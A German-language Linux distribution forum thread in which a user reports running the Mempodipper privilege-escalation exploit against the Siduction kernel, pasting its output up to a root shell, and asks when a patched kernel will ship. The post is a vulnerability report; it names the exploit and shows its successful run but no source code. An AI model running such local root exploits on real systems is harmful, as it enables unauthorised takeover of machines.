Root-Rechte durch Speicherzugriff

[orinoco]

Angeregt durch http://heise.de/-1419608 habe ich den aktuellen Siduction-Kernel getestet:

Code Select Expand

orinoco@jake:~/Temp/mempodipper$ ./a.out
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4214/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401fa8.
[+] Calculating su padding.
[+] Seeking to offset 0x401f99.
[+] Executing su with shellcode.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),102(scanner),103(lpadmin),106(kvm),107(netdev),113(fuse),115(powerdev),120(vboxusers),1000(orinoco),1001(shutdown)
# whoami
root
# uname -a
Linux jake 3.2-1.towo.3-siduction-amd64 #1 SMP PREEMPT Fri Jan 13 11:16:56 UTC 2012 x86_64 GNU/Linux

Wann ist mit einem gefixten Kernel zu rechnen?

P.S. Hoffe die Info ist in diesem Unterforum richtig.

[towo]

http://forum.siduction.org/index.php?topic=1836&highlight=